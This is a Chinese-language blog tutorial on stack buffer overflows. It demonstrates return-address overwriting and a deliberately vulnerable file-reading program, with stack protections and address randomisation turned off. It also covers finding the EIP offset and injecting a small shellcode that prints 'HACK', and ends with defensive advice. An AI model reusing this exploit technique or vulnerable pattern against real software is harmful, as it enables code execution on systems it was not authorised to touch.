浅析缓冲区溢出

最近一直在学习缓冲区溢出漏洞的攻击,可是关于这一块的内容仍是须要不少相关知识的基础,例如编程语言及反汇编工具使用。因此研究透彻还须要很多的时间,这里简单的作一个学习的总结,经过具体的实验案例对缓冲区溢出进行简要的解析。
汇编语言及编程语言是基础,其次是对反编译工具的使用:好比gdb、IDA pro、objdump等。汇编语言的学习能够看王爽编写的《汇编语言》,很适合初学者学习的一本书。(对于初学者来讲,必要的知识屏蔽是很重要的,这本书就是按这个思想编写,因此看这本书的感受就很是流畅。)linux

缓冲区溢出是一种常见的攻击手段,缘由在于缓冲区漏洞很是广泛,而且易于实现。缓冲区溢出漏洞占了远程网络攻击的绝大多数,成为远程攻击的主要手段。在CTF比赛中这一类的题目也是很是热门(pwn题)。利用缓冲区溢出攻击能够致使程序运行失败、系统崩溃等后果。更为严重的是,能够利用它执行非受权指令,甚至能够取得系统特权,进而进行各类非法操做。web

缓冲区溢出及其原理shell

关于缓冲区溢出的原理网上也不少,这里用一个我以为不错的实验示例进行讲解。
先来看如下这个例子:
(注意:此处编译环境为CentOS 5.0 (32bit),其余版本的linux可能须要修改8,9行代码)
首先用C语言编写一个程序,以下所示,保存为buffer.c文件。编程

1.    # include<unistd.h>  
2.    # include<stdlib.h>  
3.    # include<stdio.h>  
4.    # include<string.h>  
5.      
6.    void function(int a,int b,int c){  
7.            char buffer[8];  //声明一个类型为char的数组
8.            int *ret;    
9.            ret=(int*)(buffer+16);  
10.           (*ret)+=7;  
11.    }  
12.      
13.    int main(){  
14.       int x;  
15.       x=99999;  
16.       function(1,2,3);  
17.       x=1;  
18.       printf("%d\n",x);  
19.       return 0; 
20.    }  

编译源程序ubuntu

如图1所示,执行#gcc buffer.c –o buffer.o命令,编译源程序。(有些高版本的linux能够加-fno-stack-protector -z execstack参数关闭保护措施 )数组

图片描述

执行程序
如图1所示,执行./buffer.o命令,输出结果99999.经过分析主函数的流程,应该输出1,但是输出的为99999。缘由在于function()函数。
缘由分析
下面对buffer.o程序在内存中的分步状况及执行流程进行分析。
一个程序在内存中一般分为程序段、数据段和堆栈。
(1) 程序段:存放程序的机器码和只读数据
(2) 数据段:存放程序中的静态数据和全局变量
(3) 堆栈:存放动态数据及局部变量
在内存中,它们的位置如图2所示
图片描述安全

堆栈是一块保存数据的连续内存,一个名为堆栈指针(SP)的寄存器标识出了栈顶的位置,堆栈的底部在一个固定的地址。(上图)图2简化了一下如图3(下图)所示,栈的增加是由低地址位向高地址位,而堆的增加恰好相反。
图片描述bash

理论上说,局部变量能够用SP加偏移量来引用。堆栈由逻辑堆栈帧组成,一个函数对应一个堆栈帧。
当调用函数时,逻辑堆栈帧被压入栈中,堆栈帧包括函数的参数、返回地址、EBP(EBP是当前函数的存取指针,即存储或者读取数时的指针基地址,能够当作一个标准的函数起始代码)和局部变量(若是函数有局部变量)。程序执行结束后,局部变量的内容将会消失,可是不会被清除。
当函数返回时,逻辑堆栈帧从栈中被弹出,而后弹出EBP,恢复堆栈到调用函数时的地址,最后弹出返回地址到EIP(寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,而后继续执行。),从而继续运行程序。
(如过想多了解一些关于寄存器的知识,能够阅读这篇文章:
https://blog.csdn.net/chenlyc...
接下来,咱们来看function(1,2,3)函数,调用函数的过程如图4所示:
图片描述服务器

首先把参数压入栈:在C语言中参数的压栈顺序是反向的,是以从后往前的顺序将function的3个参数3,2,1压入栈中。
而后保存指令寄存器(ip)中的内容做为返回地址(return2)压入栈中;第3个放入栈的是基址寄存器EBP(sfp)
接着把当前的栈指针(sp)复制到EBP,做为新栈帧的基地址(sfp,栈帧指针)。这里准备进入function函数。
最后把栈指针(sp)减去适当的数值(能够理解为指针由高地址位向低地址位滑动),将局部变量(buffer和ret)压入栈中
执行第9行语句ret=(int)(buffer1+16);后指针ret指向return2所指的存储单元;执行代码中第10行语句(ret)+=7;后,调用函数function()后的返回地址(return2所指的存储单元)指向了第18行,第17行被隔过去了,溢出的数据覆盖了原来的返回地址,所以,该程序的输出结果是99999。
这个就是一个简单的栈溢出的状况。网络

缓冲区溢出攻击例子
接下来,咱们将要思考一段包含了可利用缓冲区溢出的代码,并据此展现一次攻击。
在具体地讨论缓冲区溢出攻击以前,能够先考虑一下此类攻击可能会爆发的现实场景。假设网站上web表单请用户输入数据,如姓名、年龄、出生日期等此类的相关信息。被输入的信息随后被传送到一台服务器上,而这台服务器会将“姓名”字段中输入的数据写入能够容纳N个字符的缓冲区中。若是服务器软件没有去验证能够确保输入的姓名的长度至多为N个字符的话,就可能会发生一次缓冲区溢出。若是溢出的数据是一段恶意代码,那么系统也将可能会去执行,从而受到攻击。

这里我使用的系统是ubuntu 18.04 (64bit)。当前硬件已支持数据保护功能,也即栈上注入的指令没法执行,同时如今的操做系统默认启用地址随机化功能,全部很难猜想到EIP注入的地址。这里就先要把实验环境配置好(这一步很重要,若是实验中出现问题,很大可能就是环境配置的关系):
  1. 关闭地址随机化功能(这里可能会遇到权限问题,能够手动修改,把里面的值改成0便可):
echo 0 > /proc/sys/kernel/randomize_va_space
  1. 此次测试用到的是编译出32位程序,但如今常见的都是64位系统,能够先安装gcc编译32位程序用到的库:
sudo apt-get install libc6-dev-i386

1、建立程序
咱们先构建一段代码开始,命名为bo.c。(这里为了直接展现缓冲区漏洞攻击方法,就省掉了与网络相关的部分。)

1.    #include <stdio.h>  
2.    #include <string.h>  
3.      
4.    int f()  
5.    {  
6.        char buf[32];  
7.        FILE *fp;  
8.      
9.        fp = fopen("test.txt", "r");  
10.        if(!fp) {  
11.            perror("fopen");  
12.        }  
13.      
14.        fread(buf, 1024, 1, fp);  
15.        printf("data: %s\n", buf);  
16.        return 0;  
17.    }  
18.      
19.    int main(int argc, char *argv[])  
20.    {  
21.        f();  
22.      
23.        return 0;  
24.    }  

简要的分析下这段代码有溢出问题的缘由是:这段程序的做用是输出文件中的字符,它声明的buf数组的字符数量为32,可是拷贝了最多可达1024个字符,所以就能够把文件的字符若是超过必定的数量,就会形成溢出,并被程序执行这些溢出的字符。

2、编译程序
编译源程序,输入以下命令:
gcc -Wall -g -fno-stack-protector -o bo bo.c -m32 -Wl,-zexecstack

这里加了几个参数,它们的功能分别是:
 -fno-stack-protector : 禁用栈溢出检测功能
 -m32 : 生成32位程序
 -Wl,-zexecstack : 支持栈端可执行
看解释就知道为何加这些参数了。
编译完成以后,咱们简要的说明下一步该如何利用溢出进行攻击。思路以下:
使用的也是上一个例子的原理,buf数组溢出后,从文件读取的内容就会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要咱们覆盖了该地址,就能够修改程序的执行路径,使它运行文件中的代码。这种攻击通常也叫作返回库函数攻击。
所以,咱们须要知道从文件读取多少个字节才能开始覆盖EIP。常见的方法有两种:
一种方法是反编译程序进行推导,另外一种方法就是进行基本的手工测试。第一种方法一般须要更深刻的汇编知识,且适用于不知道源码的状况。这里咱们已经知道源码,已经发现了问题所在,因此就选择后者进行尝试,肯定一下写个多少字节才能覆盖EIP。

3、覆盖EIP
根据源码咱们建立text.txt文件并写入字符进行尝试,尝试的方法很简单,EIP前的空间使用'A'填充,而EIP使用'BBBB'填充,使用两种不一样的字母是为了方便找到边界。
目前知道buf数组大小为32个字符,能够先尝试填充32个'A'和追加'BBBB',若是程序没有出现segment fault(段错误),则每次增长'A'字符4个,不断尝试直到程序运行出现segment fault。(我这里到48个的时候出现segment fault,32位系统大概在40左右)若是 'BBBB'恰好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,由于0x42424242(B的ascii码为0x42)是不可访问地址,因此出现segment fault,此时eip寄存器值就是0x42424242。
这里能够手工在文件文件中输入字符,但毕竟繁琐,因此可使用perl脚本写入(以后写入shellcode也要用到)。
所通过的尝试以下:
第一次:
$ perl -e 'printf "A"x32 . "B"x4' > test.txt ;
写入文件中的内容为:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
再运行程序./bo
图片描述

结果:已溢出,形成输出乱码,但没有segment fault。
第二次增长4个A字符:
$ perl -e 'printf "A"x36 . "B"x4' > test.txt ; ./bo
图片描述

结果:这里也没有segment fault。
以后的步骤省略,直接到出现segment fault的这一步:
$ perl -e 'printf "A"x48 . "B"x4' > test.txt ; ./bo
图片描述

结果:产生了segment fault。
接下来就使用调试工具gdb,分析并肯定此时的EIP是否为0x42424242。
1.在使用gdb前,首先输入:
ulimit -c unlimited
用这个命令是为了产生core文件,core就是程序运行发行段错误时的文件。
2.接着运再行一下上面的出错的那条指令
./bo
此时当前目录下会出现一个core文件
图片描述

3.以后就是使用gdb分析程序:
$ gdb ./bo core –q
图片描述

分析core文件,发现eip被写成'0x424242'(BBBB),能够肯定注入内容中的'BBBB'对准了栈中存放EIP的位置。 找到EIP位置,咱们就离成功迈进了一大步。值得注意的是:如今的系统有保护机制,因此找准eip的难度会大大增长。不过如今也有出现了更多有效的方法,感兴趣的朋友能够更深刻地进行学习。

4、构造shellcode
经过以前的步骤,咱们能够控制EIP以后,下一步操做就是往栈里面注入二进指令,而后修改EIP执行这段代码。那么当函数执行完后,就会执行咱们的指令啦。
 一般咱们将注入的这段指令称为shellcode,解释为这段指令是打开一个shell(bash),而后攻击者能够在shell执行任意命令,因此称为shellcode。
 这里咱们不须要写一段复杂的shellcode去打开shell。为了能证实成功控制程序,咱们可使它在终端上输出"HACK"字符串,而后程序退出。 简便起见, 咱们构造的shellcode就至关于下面两句C语言的效果:

1.    write(1, "HACK\n", 5);
2.    exit(0);

由于shellcode将会直接操做寄存器和一些系统调用,因此对于shellcode的编写基本上是用高级语言编写一段程序而后编译,反汇编从而获得16进制的操做码,固然也能够直接写汇编而后从二进制文件中提取出16进制的操做码。 下面就是32位x86的汇编代码shell.s:

1.    BITS 32  
2.    start:  
3.    xor eax, eax  
4.    xor ebx, ebx  
5.    xor ecx, ecx  
6.    xor edx, edx  
7.      
8.    mov bl, 1  
9.    add esp, string - start  
10.    mov ecx, esp  
11.    mov dl, 5  
12.    mov al, 4  
13.    int 0x80  
14.      
15.    mov al, 1  
16.    mov bl, 1  
17.    dec bl  
18.    int 0x80  
19.      
20.    string:  
21.    db "HACK", 0xa  

再编译程序:
nasm -o shell shell.s
以后反编译:
ndisasm shell1
获得以下结果:
图片描述

如今咱们找到了EIP的位置,也有了咱们要执行的shellcode,但这个EIP应该修改成什么值,才能在函数返回时执行注入的shellcode呢?
咱们能够这样想,从栈的基本模型上看(下图),当函数返回,弹出EBP(栈基址),恢复堆栈到调用函数时的地址,再弹出返回地址到EIP,ESP寄存器的值(栈指针)向上移动,指向咱们的shellcode。所以,咱们使用上面的注入内容生成core时,ESP寄存器的值就是shellcode的开始地址,也就是EIP应该注入的值。
图片描述

5、注入shellcode
咱们知道要成功执行shellcode就要使EIP的值为shellcode开始的地址。那如何找到shellcode开始的地址呢?咱们先尝试着把构造好的shellcode文本给程序执行,使它生成新的core。(这里要先删掉以前的core文件)
$ perl -e 'printf "A"x48 . "B"x4 . "x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"' > test.txt ;./bo
图片描述

再执行gdb ./bo core –q
图片描述

上面咱们知道,ESP的值就是shellcode开始的地址,ESP如今值为0xffffcf70,全部EIP注入值就是该值,(这一步必定要关闭地址随机化功能)。因为X86是小端的字节序,因此注入字节串须要改成"x70xcfxffxff"
而后将EIP原来的注入值'BBBB'变成"x70xcfxffxff",使eip指向的地址为shellcode开始运行的地址便可。再次测试:
$ perl -e 'printf "A"x48 . "x70xcfxffxff" . "x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"'> test.txt ;./bo
图片描述

 结果:程序输出HACK字符串了,说明咱们成功控制了EIP,并执行了shellcode。
若是这段shellcode构造的再复杂一些,咱们就能作更多的事。
这也是算是最简单的缓冲区溢出漏洞攻击的例子了,所讲的技术也有点过期,对于如今的系统来说,已经不大可能管用了。但无论怎么样,对于初步的学习仍是很助于理解的。一切的学习能够从这个简单的例子出发,一步步的进行更深刻下去。而后在其中发现更多的精彩。

缓冲区溢出攻击的防范措施
了解攻击原理是为了能更好的进行防护,最后简要的说明一下如何防范这类攻击的发生。
(1)关闭不须要的特权程序。
(2)及时给系统和服务程序漏洞打补丁。
(3)强制写正确的代码。
(4)经过操做系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。
(5)利用编译器的边界检查来实现缓冲区的保护,这个方法使得缓冲区溢出不可能出现,从而彻底消除了缓冲区溢出的威胁,可是代价比较大。
(6)在程序指针失效前进行完整性检查。
(7)改进系统内部安全机制。

参考文章:https://blog.csdn.net/linyt/a...

相关文章
相关标签/搜索